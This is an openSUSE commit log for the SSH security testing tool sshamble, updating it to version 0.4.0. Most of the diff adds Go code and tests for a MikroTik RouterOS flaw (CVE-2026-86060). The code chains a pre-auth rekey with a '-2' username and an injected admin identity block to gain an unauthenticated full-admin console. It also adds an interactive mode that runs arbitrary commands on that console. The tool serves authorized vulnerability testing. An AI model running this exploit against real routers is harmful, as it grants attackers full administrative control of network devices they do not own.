Script 'mail_helper' called by obssrc
Hello community,

here is the log from the commit of package sshamble for openSUSE:Factory 
checked in at 2026-09-11 18:05:53
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/sshamble (Old)
 and      /work/SRC/openSUSE:Factory/.sshamble.new.1265 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Package is "sshamble"

Fri Sep 11 18:05:53 2026 rev:6 rq:1377405 version:0.4.0

Changes:
--------
--- /work/SRC/openSUSE:Factory/sshamble/sshamble.changes        2026-09-09 
16:23:56.747024084 +0200
+++ /work/SRC/openSUSE:Factory/.sshamble.new.1265/sshamble.changes      
2026-09-11 18:08:51.007717236 +0200
@@ -1,0 +2,8 @@
+Fri Sep 11 11:18:08 UTC 2026 - Martin Hauke <[email protected]>
+
+- Update to version 0.4
+  * mikrotik: handle interactive shell better.
+  * fix interactive shells.
+  * support mikrotik sessions.
+
+-------------------------------------------------------------------

Old:
----
  sshamble-0.3.12.tar.gz

New:
----
  sshamble-0.4.0.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Other differences:
------------------
++++++ sshamble.spec ++++++
--- /var/tmp/diff_new_pack.1E3iXM/_old  2026-09-11 18:08:52.118763751 +0200
+++ /var/tmp/diff_new_pack.1E3iXM/_new  2026-09-11 18:08:52.120763835 +0200
@@ -18,7 +18,7 @@
 
 
 Name:           sshamble
-Version:        0.3.12
+Version:        0.4.0
 Release:        0
 Summary:        Security testing toolset for SSH
 License:        BSD-2-Clause

++++++ sshamble-0.3.12.tar.gz -> sshamble-0.4.0.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/README.md 
new/sshamble-0.4.0/README.md
--- old/sshamble-0.3.12/README.md       2026-09-07 21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/README.md        2026-09-10 23:26:42.000000000 +0200
@@ -21,7 +21,7 @@
 
 *(Note: on MacOS, you will likely have to disable Gatekeeper for this binary, 
with `sudo xattr -rd com.apple.quarantine ./sshamble`. This is not an 
invitation to violate your asset owner's security policy.)*
 
-To build SSHamble from source, ensure that you have a recent version of Go 
(1.24+) installed.
+To build SSHamble from source, ensure that you have a recent version of Go 
(1.27.1+) installed.
 
 You can use Go to install a binary into the `bin` directory in your GOPATH.
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln.go 
new/sshamble-0.4.0/cmd/check_vuln.go
--- old/sshamble-0.3.12/cmd/check_vuln.go       2026-09-07 21:41:04.000000000 
+0200
+++ new/sshamble-0.4.0/cmd/check_vuln.go        2026-09-10 23:26:42.000000000 
+0200
@@ -13,6 +13,9 @@
        // MikroTik SSH pre-auth rekey session (CVE-2026-67279)
        registerCheck(checkVulnMikrotikPreauthRekey, "vuln", false, true)
 
+       // MikroTik SSH login-helper fd injection (CVE-2026-86060)
+       registerCheck(checkVulnMikrotikFD2Inject, "vuln", false, true)
+
        // MikroTik WebFig unauthenticated file read (CVE-2026-67281) — not yet 
working
        // registerCheck(checkVulnMikrotikWebfigTraversal, "vuln", false, true)
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2.go 
new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2.go
--- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2.go  1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2.go   2026-09-10 
23:26:42.000000000 +0200
@@ -0,0 +1,433 @@
+package cmd
+
+import (
+       "bufio"
+       "bytes"
+       "fmt"
+       "io"
+       "net"
+       "os"
+       "regexp"
+       "strings"
+       "time"
+
+       "golang.org/x/term"
+
+       "github.com/runZeroInc/excrypto/x/crypto/ssh"
+       "github.com/runZeroInc/sshamble/auth"
+)
+
+const checkVulnMikrotikFD2Inject = "vuln-mikrotik-fd2-inject"
+
+// CVE-2026-86060 (MikroTrick): the RouterOS SSH login helper parses a
+// positional argv starting with '-' as '-<fd>' and reads the trusted
+// (name, policy-mask) fields from that descriptor. A username of "-2" makes
+// the helper read them from the PTY, letting the client inject an arbitrary
+// identity with the full policy mask. Combined with the CVE-2026-67279
+// pre-auth rekey (which opens the session channel without authentication),
+// this yields an unauthenticated full-admin RouterOS console.
+// Fixed in 7.24.2 / 7.23.4 / 6.49.21.
+//
+// Detection: present username "-2" with 'none' auth (rejected, but the
+// username stays pending), request a rekey, open a session, request a PTY +
+// shell, and write the canonical-PTY fd-2 block (name \0 policy \0 VEOF
+// VEOF). Only then does the login helper spawn a RouterOS console: the
+// channel open alone (CVE-2026-67279) produces no console, and the same
+// injection without the pending "-2" username is ignored, so the console
+// prompt is specific to CVE-2026-86060. No credentials are needed and the
+// check only runs a read-only "/system resource print".
+//
+// 
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
+
+// mikrotikFD2Block is the injected (name, policy) record read by the login
+// helper from fd 2: "admin" \0 4294967295 \0 VEOF VEOF. The trailing VEOF
+// bytes terminate canonical-mode line editing on the PTY.
+var mikrotikFD2Block = []byte("admin\x004294967295\x00\x04\x04")
+
+var (
+       mikrotikFD2ANSIRe   = regexp.MustCompile("\x1b(?:\\[[0-?]*[ 
-/]*[@-~]|.)")
+       mikrotikFD2PromptRe = regexp.MustCompile(`@[^\[\]]{0,40}\]>`)
+)
+
+// mikrotikFD2Squashed strips ANSI escapes and all whitespace from console
+// output, so prompt detection still works when the console renders
+// vertically (one character per line).
+func mikrotikFD2Squashed(raw []byte) string {
+       plain := mikrotikFD2ANSIRe.ReplaceAll(raw, nil)
+       plain = bytes.ReplaceAll(plain, []byte("\r"), nil)
+       return strings.Join(strings.Fields(string(plain)), "")
+}
+
+// mikrotikFD2QuerySeqs are the terminal-query escape sequences the RouterOS
+// console emits to probe the terminal. We answer them ourselves and keep them
+// off the user's terminal; otherwise the terminal emulator replies on stdin,
+// corrupting the command stream and eventually closing the session.
+var mikrotikFD2QuerySeqs = [][]byte{
+       []byte("\x1b[6n"), // DSR: report cursor position
+       []byte("\x1bZ"),   // DECID: report device attributes
+}
+
+// mikrotikFD2TerminalFilter removes the query sequences from console output
+// before it is displayed. It tolerates sequences split across calls by
+// buffering trailing bytes that could begin a query.
+type mikrotikFD2TerminalFilter struct {
+       pend []byte
+}
+
+func (f *mikrotikFD2TerminalFilter) maxSeq() int {
+       m := 0
+       for _, q := range mikrotikFD2QuerySeqs {
+               if len(q) > m {
+                       m = len(q)
+               }
+       }
+       return m
+}
+
+func (f *mikrotikFD2TerminalFilter) Filter(p []byte) []byte {
+       buf := append(f.pend, p...)
+       f.pend = f.pend[:0]
+       maxSeq := f.maxSeq()
+       out := make([]byte, 0, len(buf))
+       for len(buf) > 0 {
+               stripped := false
+               for _, q := range mikrotikFD2QuerySeqs {
+                       if bytes.HasPrefix(buf, q) {
+                               buf = buf[len(q):]
+                               stripped = true
+                               break
+                       }
+               }
+               if stripped {
+                       continue
+               }
+               // Hold back a trailing run that could begin a query sequence.
+               if len(buf) < maxSeq && f.isPrefix(buf) {
+                       f.pend = append(f.pend, buf...)
+                       break
+               }
+               out = append(out, buf[0])
+               buf = buf[1:]
+       }
+       return out
+}
+
+func (f *mikrotikFD2TerminalFilter) isPrefix(b []byte) bool {
+       for _, q := range mikrotikFD2QuerySeqs {
+               if len(b) < len(q) && bytes.HasPrefix(q, b) {
+                       return true
+               }
+       }
+       return false
+}
+
+// mikrotikFD2Options builds the base auth options that perform the
+// unauthenticated pre-auth rekey (CVE-2026-67279) with the rejected "-2"
+// username pending (CVE-2026-86060). The caller supplies the session handler.
+func mikrotikFD2Options(addr string, conf *ScanConfig, options *auth.Options) 
*auth.Options {
+       tname := checkVulnMikrotikFD2Inject
+       return options.
+               WithUsername("-2").
+               WithIgnoreAuthError().
+               WithPostAuthHandler(func(c net.Conn, uac *ssh.UnauthClientConn, 
r *auth.AuthResult) error {
+                       // CVE-2026-67279: enter the connection protocol 
unauthenticated,
+                       // leaving the rejected "-2" username pending for the 
login helper.
+                       return mikrotikRequestRekey(addr, conf, tname, uac)
+               })
+}
+
+// mikrotikFD2OpenConsole requests a pty + shell on ses, injects the fd-2
+// identity block, and returns the session's stdin pipe.
+func mikrotikFD2OpenConsole(ses *ssh.Session) (io.WriteCloser, error) {
+       stdIn, err := ses.StdinPipe()
+       if err != nil {
+               return nil, err
+       }
+       if err := ses.RequestPty("vt100", 24, 80, ssh.TerminalModes{}); err != 
nil {
+               return nil, err
+       }
+       if err := ses.Shell(); err != nil {
+               return nil, err
+       }
+       if _, err := stdIn.Write(mikrotikFD2Block); err != nil {
+               return nil, err
+       }
+       return stdIn, nil
+}
+
+// mikrotikFD2AnswerProbes answers any DECID/CPR terminal probes and any [Y/n]
+// nag present in raw, updating the counters so each is answered exactly once.
+func mikrotikFD2AnswerProbes(raw []byte, cprAnswered *int, decidAnswered, 
nagAnswered *bool, w io.Writer) error {
+       if !*decidAnswered && bytes.Contains(raw, []byte("\x1bZ")) {
+               *decidAnswered = true
+               _, _ = w.Write([]byte("\x1b[?1;2c"))
+       }
+       if n := bytes.Count(raw, []byte("\x1b[6n")); *cprAnswered < n {
+               for *cprAnswered < n {
+                       *cprAnswered = *cprAnswered + 1
+                       if _, err := w.Write([]byte("\x1b[24;80R")); err != nil 
{
+                               return err
+                       }
+               }
+       }
+       if !*nagAnswered && strings.Contains(mikrotikFD2Squashed(raw), "[Y/n]") 
{
+               *nagAnswered = true
+               _, _ = w.Write([]byte("n"))
+       }
+       return nil
+}
+
+// mikrotikFD2DriveConsole answers the RouterOS console's DECID/CPR terminal
+// probes and any [Y/n] nag until the admin prompt appears, then returns nil.
+// The console's initial handshake must complete before the first command is
+// sent; sending input too early breaks the console and closes the session.
+func mikrotikFD2DriveConsole(stdOut *auth.SyncByteBuffer, w io.Writer, timeout 
time.Duration) error {
+       deadline := time.Now().Add(timeout)
+       cprAnswered := 0
+       decidAnswered := false
+       nagAnswered := false
+       for time.Now().Before(deadline) {
+               raw := stdOut.Peek()
+               if err := mikrotikFD2AnswerProbes(raw, &cprAnswered, 
&decidAnswered, &nagAnswered, w); err != nil {
+                       return err
+               }
+               if mikrotikFD2PromptRe.MatchString(mikrotikFD2Squashed(raw)) {
+                       return nil
+               }
+               time.Sleep(time.Millisecond * 50)
+       }
+       return fmt.Errorf("no RouterOS console prompt")
+}
+
+// mikrotikFD2RunCommand establishes a fresh unauthenticated fd-2 console, runs
+// cmd, and returns the cleaned console output. RouterOS does not keep the
+// injected PTY console usable across commands on a persistent session, so each
+// command re-runs the one-shot sequence proven by the detection check: rekey,
+// pty+shell, fd-2 identity injection, drive to the prompt, then one command.
+func mikrotikFD2RunCommand(addr string, conf *ScanConfig, options 
*auth.Options, cmd string) (string, error) {
+       tname := checkVulnMikrotikFD2Inject
+
+       o := mikrotikFD2Options(addr, conf, options).
+               WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses 
*ssh.Session, r *auth.AuthResult) error {
+                       _ = c.SetDeadline(time.Now().Add(time.Second * 25))
+
+                       stdOut := auth.NewSyncByteBuffer(1024 * 64)
+                       ses.Stdout = stdOut
+                       ses.Stderr = stdOut
+                       stdIn, err := mikrotikFD2OpenConsole(ses)
+                       if err != nil {
+                               return err
+                       }
+                       if err := mikrotikFD2DriveConsole(stdOut, stdIn, 
20*time.Second); err != nil {
+                               return err
+                       }
+
+                       mark := len(mikrotikFD2Squashed(stdOut.Peek()))
+                       if _, err := stdIn.Write([]byte(cmd + "\r")); err != 
nil {
+                               return err
+                       }
+
+                       // Wait for the prompt to reappear (command complete) 
or a timeout.
+                       deadline := time.Now().Add(10 * time.Second)
+                       for time.Now().Before(deadline) {
+                               squashed := mikrotikFD2Squashed(stdOut.Peek())
+                               if len(squashed) > mark && 
mikrotikFD2PromptRe.MatchString(squashed[mark:]) {
+                                       break
+                               }
+                               time.Sleep(time.Millisecond * 50)
+                       }
+                       r.SessionOutput = auth.CleanSessionOutput(stdOut.Peek())
+                       return nil
+               })
+
+       var res *auth.AuthResult
+       for attempt := 1; attempt <= 3; attempt++ {
+               res = auth.SSHAuth(addr, o, 
auth.SSHAuthHandlerSingle(ssh.None()))
+               if res.Stage == "session" {
+                       break
+               }
+               conf.Logger.Debugf("%s %s run command attempt %d failed (stage 
%s): %v", addr, tname, attempt, res.Stage, res.Error)
+               time.Sleep(time.Second)
+       }
+       if res.Stage != "session" || res.SessionOutput == "" {
+               return "", fmt.Errorf("unable to establish console: %v", 
res.Error)
+       }
+       return res.SessionOutput, nil
+}
+
+// mikrotikFD2Display prepares raw console output for the terminal: strips ANSI
+// escapes, normalizes CR to LF, drops the injected identity echo and startup
+// log spam by starting at the command echo, and removes RouterOS prompt lines.
+func mikrotikFD2Display(cmd, raw string) string {
+       b := mikrotikFD2ANSIRe.ReplaceAll([]byte(raw), nil)
+       b = bytes.ReplaceAll(b, []byte("\r"), []byte("\n"))
+       b = bytes.ReplaceAll(b, []byte{0}, nil)
+       s := string(b)
+
+       if idx := strings.Index(s, cmd); idx >= 0 {
+               s = s[idx:]
+       }
+
+       var out []string
+       for _, ln := range strings.Split(s, "\n") {
+               t := strings.TrimSpace(ln)
+               if t == "" {
+                       continue
+               }
+               // Drop RouterOS prompt lines ("[0@host] >").
+               if strings.HasPrefix(t, "[") && strings.HasSuffix(t, ">") {
+                       continue
+               }
+               out = append(out, strings.TrimRight(ln, " \t"))
+       }
+       return strings.Join(out, "\n")
+}
+
+// sshInteractVulnMikrotikFD2Inject drives the unauthenticated CVE-2026-86060
+// RouterOS admin console as a line-based repl. Each command establishes a 
fresh
+// fd-2 console because RouterOS terminates the injected PTY console rather 
than
+// keeping it usable across commands.
+func sshInteractVulnMikrotikFD2Inject(addr string, conf *ScanConfig, options 
*auth.Options, root *auth.AuthResult) *auth.AuthResult {
+       tname := checkVulnMikrotikFD2Inject
+
+       if fd := int(os.Stdin.Fd()); !term.IsTerminal(fd) {
+               conf.Logger.Errorf("%s %s interact requires a controlling 
terminal", addr, tname)
+               return nil
+       }
+
+       fmt.Printf("\r\nMikroTik RouterOS admin console via '-2' fd injection 
on %s\r\n", addr)
+       fmt.Printf("Type RouterOS commands, or 'exit' to quit.\r\n\r\n")
+
+       reader := bufio.NewReader(os.Stdin)
+       for {
+               fmt.Printf("[admin@%s] > ", addr)
+               line, err := reader.ReadString('\n')
+               if err != nil {
+                       if err == io.EOF {
+                               fmt.Printf("\r\n")
+                               return nil
+                       }
+                       conf.Logger.Errorf("%s %s stdin read failed: %v", addr, 
tname, err)
+                       return nil
+               }
+               line = strings.TrimSpace(line)
+               if line == "" {
+                       continue
+               }
+               switch strings.ToLower(line) {
+               case "exit", "quit", ".":
+                       return nil
+               }
+
+               out, err := mikrotikFD2RunCommand(addr, conf, options, line)
+               if err != nil {
+                       conf.Logger.Errorf("%s %s cannot run %q: %v", addr, 
tname, line, err)
+                       continue
+               }
+               display := mikrotikFD2Display(line, out)
+               if display == "" {
+                       fmt.Printf("(no output)\r\n")
+               } else {
+                       _, _ = os.Stdout.WriteString(display)
+                       _, _ = os.Stdout.WriteString("\r\n")
+                       os.Stdout.Sync()
+               }
+       }
+}
+
+func sshCheckVulnMikrotikFD2Inject(addr string, conf *ScanConfig, options 
*auth.Options, root *auth.AuthResult) *auth.AuthResult {
+       tname := checkVulnMikrotikFD2Inject
+       if !conf.IsCheckEnabled(tname) {
+               return nil
+       }
+
+       conf.Logger.Debugf("%s %s is running", addr, tname)
+
+       o := mikrotikFD2Options(addr, conf, options).
+               WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses 
*ssh.Session, r *auth.AuthResult) error {
+                       _ = c.SetDeadline(time.Now().Add(time.Second * 25))
+
+                       stdOut := auth.NewSyncByteBuffer(1024 * 64)
+                       ses.Stdout = stdOut
+                       ses.Stderr = stdOut
+                       stdIn, err := mikrotikFD2OpenConsole(ses)
+                       if err != nil {
+                               return err
+                       }
+
+                       // Drive the console to the admin prompt, answering its 
DECID/CPR
+                       // terminal probes, before running the read-only proof 
command.
+                       if err := mikrotikFD2DriveConsole(stdOut, stdIn, 
20*time.Second); err != nil {
+                               return err
+                       }
+                       mark := len(mikrotikFD2Squashed(stdOut.Peek()))
+                       if _, err := stdIn.Write([]byte("/system resource 
print\r")); err != nil {
+                               return err
+                       }
+
+                       // Wait for the proof output to appear after the prompt.
+                       deadline := time.Now().Add(10 * time.Second)
+                       for time.Now().Before(deadline) {
+                               squashed := mikrotikFD2Squashed(stdOut.Peek())
+                               if strings.Contains(squashed[mark:], 
"version:") {
+                                       r.SessionOutput = 
auth.CleanSessionOutput(stdOut.Peek())
+                                       return nil
+                               }
+                               time.Sleep(time.Millisecond * 50)
+                       }
+                       return fmt.Errorf("no RouterOS console output after 
fd-2 injection")
+               })
+
+       // ssh.None() is rejected as expected; IgnoreAuthError keeps the
+       // connection open so the rekey + channel open follow. The 
rekey/channel-open
+       // ordering is racy, so retry a few times before giving up.
+       var res *auth.AuthResult
+       for attempt := 1; attempt <= 3; attempt++ {
+               res = auth.SSHAuth(addr, o, 
auth.SSHAuthHandlerSingle(ssh.None()))
+               if res.Stage == "session" {
+                       break
+               }
+               conf.Logger.Debugf("%s %s attempt %d did not open a session 
(stage %s): %v", addr, tname, attempt, res.Stage, res.Error)
+               time.Sleep(time.Second)
+       }
+       if res.Stage != "session" {
+               conf.Logger.Debugf("%s %s did not open a session: %v", addr, 
tname, res.Error)
+               return nil
+       }
+       if res.SessionOutput == "" {
+               // The channel opened (CVE-2026-67279 territory) but the fd-2
+               // injection produced no console, so CVE-2026-86060 does not 
apply.
+               conf.Logger.Debugf("%s %s session opened but no console 
appeared: %v", addr, tname, res.Error)
+               return nil
+       }
+
+       // Attribute to RouterOS before naming the CVE: either the server banner
+       // (SSH-2.0-ROSSSH) or the proof command output must look like RouterOS.
+       if !mikrotikPreauthRekeyIsRouterOS(res.Version, res.SessionOutput) {
+               conf.Logger.Warnf("%s %s console appeared after fd-2 injection, 
but the service (%q) does not look like RouterOS; not reporting 
CVE-2026-86060", addr, tname, res.Version)
+               return nil
+       }
+
+       version := mikrotikParseRouterOSVersion(res.SessionOutput)
+       conf.Logger.Warnf("%s %s unauthenticated full-admin console via '-2' fd 
injection", addr, tname)
+       if version != "" {
+               conf.Logger.Infof("%s %s RouterOS version: %s", addr, tname, 
version)
+       }
+
+       proof := fmt.Sprintf("CVE-2026-86060: unauthenticated RouterOS console 
via '-2' login-helper fd injection (server: %s)", res.Version)
+       if version != "" {
+               proof += fmt.Sprintf(". RouterOS version: %s", version)
+       }
+
+       root.AddVuln(auth.VulnResult{
+               ID:    tname,
+               Ref:   
"https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/";,
+               Proof: proof,
+       })
+
+       res.SessionMethod = tname
+       root.SessionMethod = tname
+       root.SessionOutput = res.SessionOutput
+
+       return res
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2_test.go 
new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2_test.go
--- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2_test.go     1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2_test.go      2026-09-10 
23:26:42.000000000 +0200
@@ -0,0 +1,65 @@
+package cmd
+
+import "testing"
+
+func TestMikrotikFD2SquashedPrompt(t *testing.T) {
+       // Real 7.24.1 console transcript fragment: log lines, escapes, then 
the prompt
+       raw := []byte("\x1b[24;1H\r\n2026-09-08 06:08:18 system,error,critical 
router was rebooted without proper shutdown\r\n" +
+               "\x1b[6n\r[0@CHR] > ")
+       squashed := mikrotikFD2Squashed(raw)
+       if !mikrotikFD2PromptRe.MatchString(squashed) {
+               t.Errorf("prompt not detected in squashed transcript %q", 
squashed)
+       }
+}
+
+func TestMikrotikFD2SquashedVertical(t *testing.T) {
+       // Vertically-rendered prompt (one character per line) must still match
+       raw := []byte("[\r\n0\r\n@\r\nC\r\nH\r\nR\r\n]\r\n \r\n>\r\n")
+       squashed := mikrotikFD2Squashed(raw)
+       if !mikrotikFD2PromptRe.MatchString(squashed) {
+               t.Errorf("vertical prompt not detected in squashed transcript 
%q", squashed)
+       }
+}
+
+func TestMikrotikFD2NoPrompt(t *testing.T) {
+       for _, raw := range [][]byte{
+               []byte(""),
+               []byte("login as: "),
+               []byte("\x1b[6n\x1b[6n"),
+               []byte("2026-09-08 06:08:18 system,error,critical router was 
rebooted\r\n"),
+       } {
+               if squashed := mikrotikFD2Squashed(raw); 
mikrotikFD2PromptRe.MatchString(squashed) {
+                       t.Errorf("false prompt detection in %q", squashed)
+               }
+       }
+}
+
+func TestMikrotikFD2TerminalFilter(t *testing.T) {
+       cases := []struct {
+               in   []byte
+               want string
+       }{
+               {[]byte("[0@MikroTik] > \x1b[6n"), "[0@MikroTik] > "},
+               {[]byte("\x1bZ[0@MikroTik] > "), "[0@MikroTik] > "},
+               {[]byte("plain text"), "plain text"},
+               {[]byte("\x1b[24;80R"), "\x1b[24;80R"}, // not a query, passed 
through
+       }
+
+       for _, tc := range cases {
+               var f mikrotikFD2TerminalFilter
+               got := string(f.Filter(tc.in))
+               if got != tc.want {
+                       t.Errorf("Filter(%q) = %q, want %q", tc.in, got, 
tc.want)
+               }
+       }
+}
+
+func TestMikrotikFD2TerminalFilterSplit(t *testing.T) {
+       // A query sequence split across two writes must still be stripped.
+       var f mikrotikFD2TerminalFilter
+       got := string(f.Filter([]byte("abc\x1b[")))
+       got += string(f.Filter([]byte("6n] > ")))
+       if got != "abc] > " {
+               t.Errorf("split filter got %q, want %q", got, "abc] > ")
+       }
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go 
new/sshamble-0.4.0/cmd/check_vuln_mikrotik_rekey.go
--- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go        2026-09-07 
21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_rekey.go 2026-09-10 
23:26:42.000000000 +0200
@@ -19,10 +19,11 @@
 // unauthenticated client can open a session channel (and dispatch exec
 // requests) without any credentials. Fixed in 7.24.2 / 7.23.4 / 6.49.21.
 //
-// This check needs no credentials and no victim key material: it requests a
-// rekey immediately after the initial key exchange, skips the userauth
-// service entirely, and tries to open a session channel. A patched server
-// (and any sane sshd) refuses the channel; a vulnerable RouterOS accepts it.
+// This check needs no credentials and no victim key material: it presents
+// 'none' authentication (which RouterOS rejects, leaving the username pending
+// in an incomplete userauth state), requests a rekey, and then tries to open
+// a session channel. A patched server (and any sane sshd) refuses the channel;
+// a vulnerable RouterOS accepts it.
 //
 // 
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
 
@@ -36,7 +37,7 @@
 
        run := func(rekey bool) *auth.AuthResult {
                o := options.
-                       WithSkipStages("ssh-userauth", "auth").
+                       WithIgnoreAuthError().
                        WithSessionHandler(func(c net.Conn, sclient 
*ssh.Client, ses *ssh.Session, r *auth.AuthResult) error {
                                _ = c.SetDeadline(time.Now().Add(time.Second * 
15))
                                out, err := ses.CombinedOutput("/system 
resource print")
@@ -52,26 +53,30 @@
                                return nil
                        })
                if rekey {
-                       // Trigger a client-requested rekey while still 
unauthenticated.
-                       // Packets written afterwards (the channel open) are 
queued by the
-                       // transport and flushed once the rekey completes.
+                       // Trigger a client-requested rekey while the rejected 
"none" auth
+                       // leaves the username pending (incomplete userauth 
state).
                        o = o.WithPostAuthHandler(func(c net.Conn, uac 
*ssh.UnauthClientConn, r *auth.AuthResult) error {
-                               if err := uac.RequestKeyExchange(); err != nil {
-                                       conf.Logger.Debugf("%s %s rekey request 
failed: %v", addr, tname, err)
-                                       return err
-                               }
-                               conf.Logger.Tracef("%s %s pre-auth rekey 
requested", addr, tname)
-                               return nil
+                               return mikrotikRequestRekey(addr, conf, tname, 
uac)
                        })
                }
-               // ssh.None() is never reached (the auth stage is skipped); it 
only
-               // satisfies the SSHAuth signature.
+               // ssh.None() is rejected as expected; IgnoreAuthError keeps the
+               // connection open so the rekey + channel open follow.
                return auth.SSHAuth(addr, o, 
auth.SSHAuthHandlerSingle(ssh.None()))
        }
 
-       res := run(true)
+       // The rekey/channel-open ordering is racy, so retry the positive probe 
a
+       // few times before concluding the server is not vulnerable.
+       var res *auth.AuthResult
+       for attempt := 1; attempt <= 3; attempt++ {
+               res = run(true)
+               if res.Stage == "session" {
+                       break
+               }
+               conf.Logger.Debugf("%s %s attempt %d did not open a pre-auth 
session after rekey (stage %s): %v", addr, tname, attempt, res.Stage, res.Error)
+               time.Sleep(time.Second)
+       }
        if res.Stage != "session" {
-               conf.Logger.Debugf("%s %s did not open a pre-auth session after 
rekey (stage %s): %v", addr, tname, res.Stage, res.Error)
+               conf.Logger.Debugf("%s %s did not open a pre-auth session after 
rekey: %v", addr, tname, res.Error)
                return nil
        }
 
@@ -111,10 +116,12 @@
                Proof: proof,
        })
 
-       res.SessionMethod = tname
-       root.SessionMethod = tname
+       // Report the CVE but do not claim a usable session: the channel open 
alone
+       // (CVE-2026-67279) yields no console, so interacting via this method 
would
+       // fail and, worse, would short-circuit the scan before the fd-2 
injection
+       // check (CVE-2026-86060) can obtain the actual admin console.
+       res.SessionMethod = ""
        root.SessionOutput = res.SessionOutput
-       root.ExitStatus = res.ExitStatus
 
        return res
 }
@@ -136,3 +143,19 @@
        }
        return m[1]
 }
+
+// mikrotikRequestRekey triggers a client-requested rekey and waits briefly for
+// the transport's kex goroutine to send KEXINIT. The wait ensures the channel
+// open that follows is queued during the rekey (or written after it completes)
+// rather than racing ahead of it; if the channel open is written first, the
+// still-authenticated server rejects it before the rekey can reset its 
userauth
+// state, which is the intermittent "ssh: disconnect, reason 2" failure mode.
+func mikrotikRequestRekey(addr string, conf *ScanConfig, tname string, uac 
*ssh.UnauthClientConn) error {
+       if err := uac.RequestKeyExchange(); err != nil {
+               conf.Logger.Debugf("%s %s rekey request failed: %v", addr, 
tname, err)
+               return err
+       }
+       time.Sleep(100 * time.Millisecond)
+       conf.Logger.Tracef("%s %s pre-auth rekey requested", addr, tname)
+       return nil
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/cmd_scan.go 
new/sshamble-0.4.0/cmd/cmd_scan.go
--- old/sshamble-0.3.12/cmd/cmd_scan.go 2026-09-07 21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/cmd/cmd_scan.go  2026-09-10 23:26:42.000000000 +0200
@@ -714,6 +714,7 @@
        vulnChecks := []sshCheckFunc{
                sshCheckVulnMikrotikPubkey,
                sshCheckVulnMikrotikPreauthRekey,
+               sshCheckVulnMikrotikFD2Inject,
                sshCheckVulnExecSkipUserAuth,
                sshCheckVulnExecSkipAuth,
        }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/cmd/interact.go 
new/sshamble-0.4.0/cmd/interact.go
--- old/sshamble-0.3.12/cmd/interact.go 2026-09-07 21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/cmd/interact.go  2026-09-10 23:26:42.000000000 +0200
@@ -58,6 +58,8 @@
                        res = sshCheckSkipAuthPubkeyAny(addr, conf, options, 
root)
                case checkSkipAuthSuccess:
                        res = sshCheckSkipAuthSuccess(addr, conf, options, root)
+               case checkVulnMikrotikFD2Inject:
+                       res = sshInteractVulnMikrotikFD2Inject(addr, conf, 
options, root)
                default:
                        return fmt.Errorf("interact is not yet implemented for 
%s", root.SessionMethod)
                }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/go.mod new/sshamble-0.4.0/go.mod
--- old/sshamble-0.3.12/go.mod  2026-09-07 21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/go.mod   2026-09-10 23:26:42.000000000 +0200
@@ -36,5 +36,3 @@
        golang.org/x/text v0.41.0 // indirect
        gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect
 )
-
-replace github.com/runZeroInc/excrypto => github.com/msuiche/excrypto 
v0.43.2-0.20260907192101-05292dc2f370
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.12/go.sum new/sshamble-0.4.0/go.sum
--- old/sshamble-0.3.12/go.sum  2026-09-07 21:41:04.000000000 +0200
+++ new/sshamble-0.4.0/go.sum   2026-09-10 23:26:42.000000000 +0200
@@ -17,12 +17,12 @@
 github.com/logrusorgru/aurora/v3 v3.0.0/go.mod 
h1:vsR12bk5grlLvLXAYrBsb5Oc/N+LxAlxggSjiwMnCUc=
 github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3 
h1:2YMbJ6WbdQI9K73chxh9OWMDsZ2PNjAIRGTonp3T0l0=
 github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3/go.mod 
h1:LQkXsHRSPIEklPCq8OMQAzYNS2NGtYStdNE/ej1oJU8=
-github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 
